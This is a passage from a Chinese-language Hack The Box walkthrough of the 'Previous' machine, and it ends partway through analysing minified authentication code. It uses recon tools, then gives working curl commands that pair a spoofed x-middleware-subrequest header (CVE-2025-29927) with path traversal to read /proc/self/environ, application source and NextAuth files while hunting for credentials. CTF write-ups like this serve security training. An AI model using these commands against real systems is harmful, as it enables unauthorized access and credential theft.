🎯 Hack The Box: Previous - 完整的 walkthrough 和技术分析
📊 机器概述
| 属性 | 值 |
|---|---|
| 机器名称 | Previous |
| IP 地址 | 10.10.11.83 |
| 操作系统 | Linux (Ubuntu) |
| 难度 | 中等 |
| 得分 | 30 |
| 发布日期 | 2025年8月23日 |
| 域名 | previous.htb |
🔍 初步侦察
使用 Nmap 扫描端口
渗透测试的第一步是侦察。我们首先扫描目标,以识别开放的端口和服务。
nmap -sC -sV -oN nmap_initial.txt 10.10.11.83
关键发现:
- 端口 22 (SSH): OpenSSH 8.9p1 Ubuntu - 用于远程访问的标准 SSH 服务
- 端口 80 (HTTP): nginx 1.18.0 - Web 服务器,自动重定向至
http://previous.htb/
DNS 配置
在继续之前,我们需要将域名添加到 hosts 文件中:
echo "10.10.11.83 previous.htb" | sudo tee -a /etc/hosts
这可以确保系统正确解析域名。
🌐 Web 应用分析
技术栈识别
使用 whatweb 来指纹识别 Web 应用:
whatweb http://previous.htb
重要发现: 该应用运行的是 Next.js(一个基于 React 的框架),并由 Node.js 提供支持。这一点很关键,因为 Next.js 应用存在特定的漏洞和攻击向量。
HTTP 头分析
curl -I http://previous.htb/
响应头揭示:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Next.js
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware...
X-Middleware-Subrequest 头部特别有趣——它表明该应用使用了可能存在漏洞的中间件层。
目录枚举
feroxbuster -u http://previous.htb/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,html,js,json,txt,log \
-t 50 -e

重要发现: 发现了一个电子邮件地址 - [email protected](可能是后续使用的用户名)

我们检查了网站头部 ✅

由于是 Next.js,它可能存在 CVE-2025-29927(已存在 PoC)的漏洞,具体取决于版本/配置。
💥 漏洞发现:CVE-2025-29927
理解该漏洞
CVE-2025-29927 是一个 路径遍历漏洞,出现在 Next.js 应用中,允许攻击者在满足特定条件时读取服务器上的任意文件:
- 应用有一个接受文件参数的 API 端点
- 中间件未正确清理用户输入
- 可以操控
X-Middleware-Subrequest头部
为什么这个漏洞有效
Next.js 的中间件设计用于在请求到达实际的 API 端点之前进行处理。通过操控 X-Middleware-Subrequest 头部,我们可以绕过安全控制。
🔓 利用阶段 1:信息收集
步骤 1:发现易受攻击的端点
我们需要找到 API 端点。/api/ 目录是 Next.js 应用的标准目录:
dirsearch -u http://previous.htb/api/ \
-w /usr/share/wordlists/dirb/common.txt \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
结果: 找到了 /api/download 端点

步骤 2:读取环境变量
环境变量通常包含敏感信息,如 API 密钥、数据库凭证或配置信息:
curl -s "http://previous.htb/api/download?example=../../../../../../proc/self/environ" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
| tr '\0' '\n'

为什么选择 /proc/self/environ?
- 在 Linux 中,
/proc/self/是指向当前进程的符号链接 environ包含该进程的所有环境变量tr '\0' '\n'命令将 null 字节转换为换行符,便于阅读
提取的关键信息:
NODE_ENV=production- 应用处于生产模式PWD=/app- 应用根目录PORT=3000- 内部端口(nginx 转发至此)HOME=/home/nextjs- 服务用户的家目录
步骤 3:提取应用源代码
现在我们知道应用位于 /app,让我们获取服务器配置:
curl -s "http://previous.htb/api/download?example=../../../../../../app/server.js" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
这揭示了 Next.js 服务器的配置和初始化方式。

步骤 4:映射应用路由
Next.js 将路由信息存储在清单文件中:
curl -s "http://previous.htb/api/download?example=../../../../../../app/.next/routes-manifest.json" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
关键发现: 动态路由 /api/auth/[...nextauth] - 这是一个 NextAuth.js 认证端点!

🔐 利用阶段 2:凭证发现
理解 NextAuth.js
NextAuth.js 是一个流行的用于 Next.js 应用的认证库,负责:
- 用户认证
- 会话管理
- OAuth 提供商
- 基于凭证的认证
提取认证逻辑
路由 [...nextauth] 使用了括号表示法,需要进行 URL 编码:
curl -s "http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
分析压缩代码
响应是压缩的 JavaScript,但我们可以识别出关键的认证逻辑: